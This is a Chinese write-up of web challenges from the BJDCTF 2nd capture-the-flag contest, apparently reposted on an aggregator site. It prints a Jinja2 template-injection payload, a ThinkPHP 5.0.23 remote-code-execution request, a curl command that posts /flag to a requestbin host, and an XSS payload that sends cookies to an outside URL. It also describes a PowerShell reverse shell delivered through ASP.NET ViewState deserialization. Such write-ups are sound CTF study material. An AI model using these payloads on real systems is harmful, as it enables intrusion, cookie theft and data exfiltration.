BJDCTF 2nd Writeup


fake google

隨便輸點什么,url來看不是php,原樣回顯

那很有可能是ssti了,試試{{config}}有回顯,直接打個python3的payload試試
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
拿到flag

old-hack

進去后看到是tp5,題目名字又叫old-attack,也沒掃到源碼,估計是現成的洞了。t框架有s參數可以加載模塊,隨便加點什么,發現開了debug模式,其中可以看到tp的版本。

https://www.exploit-db.com/搜tp,還真有個thinkphp 5.0.23(完整版)debug模式下的payload
(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx
直接拿來用完事

duangShell

這道題我做的時候很簡單,.index.php.swpvim -r復原一下,flag就在根目錄
curl http://requestbin.xxx -X POST -d "`head /flag`"就送flag了,但是后來學弟做的時候flag怎么都找不到了,再后來我也沒找到就沒管。。

簡單注入

過濾了引號沒過濾\,postusername=\&password=||1#發現回顯不一樣了,布爾盲注就完了,select被過濾了,不過不要緊,直接substr(password,1,1)然后拿這個登錄就可以拿到flag了

假豬套天下第一

套,就硬套
開局假登錄,hint在302界面,去訪問L0g1n.php
如下依次改時間戳,加header就行了(這個Commodore是真的坑)

Schrödinger

這題二血
源碼hintNote : Remenmber to remove test.php!,打開test.php,和index.php的功能正好相符合,那就input。下面那個動效我感覺是js做的,源代碼里面也是js調用幾個奇怪的函數,但是只引入了jQuery.js,說明這個jQuery.js有問題的,打開一看果然是個自制的,其中跟成功率有關的是

function script(sub){
	var rate = sub;
	var t = setInterval(function(){
		rate += 1;
		span4.innerText = Math.log(rate) * 4.7;
	}, 1000);
}

看了好半天,發現cookie里面有個奇怪的東西dXNlcg=MTU4NDg4ODIyNg%3D%3D,base64解碼后看起來是個時間戳,隨便改了試試看,發現成功率變了,再看源代碼,發現script的參數變大了,按這個思路把時間回調就行,直接狠一點,改成MA==,就可以得到password。

然而這個password他不是個password,我各種姿勢試了半天,都沒成功,后來反應過來是個b站av號,后面@時間戳應該是評論的時間,找到flag后我情不自禁在留言區真情流露

xss之光

git源碼泄露,就兩行,是個反序列化,結合題目名字,應該是php原生類與反序列化xss,那就是這樣了

<?php
$a = new Exception("<script>window.location.href=\"http://http.requestbin.buuoj.cn/1nrks0e1?cookie=\"+escape(document[\"cookie\"])</script>");
$b = serialize($a);
echo urlencode($b);

elementmaster

腦洞題,不想說了,<p hidden id>,hex2bin后是元素Po,把元素周期表跑一遍就完了

文件探測

有意思的題來了。首頁源代碼里hint,BJDCTF傳統藝能,那就是hint藏header,沒話說,進入home.php
file參數,很自然試一下偽協議讀文件,能讀到system.phphome.php的源碼。讀源碼,home文件包含過濾很死,沒什么機會,但是還過濾了admin,嘗試一下發現有admin.php(我就是卡這里卡了一晚上)。system.phpfile_get_contents不能讀任意文件,只能用來ssrf,用來訪問http://127.0.0.1/admin#,用#錨點來繞過后面的臟字符。sprintf("$url method&content_size:$method%d", $detect)只要讓$method='%s%'就能輸出字符串,然后讀到admin.php源碼

admin.php下面隨機是基本真隨機,沒法爆破。但是其實有個邏輯問題

if (isset($_GET['decrypt'])) {
    $decr = $_GET['decrypt'];
    if (Check()){
        $data = $_SESSION['secret'];
        include 'flag_2sln2ndln2klnlksnf.php';
        $cipher = aesEn($data, 'y1ng');
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;
        } else {
            die('爬');
        }
    } else{
        header("Refresh:0.1;url=index.php");
    }
} else {
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));
    $length = mt_rand(40,80);
    $_SESSION['secret'] = bin2hex(random_bytes($length));
}

那我如果不帶session,直接帶decrypt參數訪問,不就不存在這個$_SESSION['secret']了嗎?

<?php
function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5("174.0.222.75",true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

echo aesEn('', 'y1ng');

生成poc刪掉cookie里的PHPSESSID直接傳就行

EasyAspDotNet

這題一血
這題是HITCON 2018: Why so Serials?改的,實際上基本原題,參考HITCON 2018: Why so Serials? Write-upHITCON CTF 2018 - Why so Serials? Writeup
用后一篇文章的poc在本地搭個環境,把shellcode改成第一篇文章中的powershell反彈shell命令,然后再題目頁面把html中的viewstate和它的簽名換成我們本地生成的,運行就可以getshell。

其實真的不難,只是我沒見過,具體原理我還要再研究研究


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM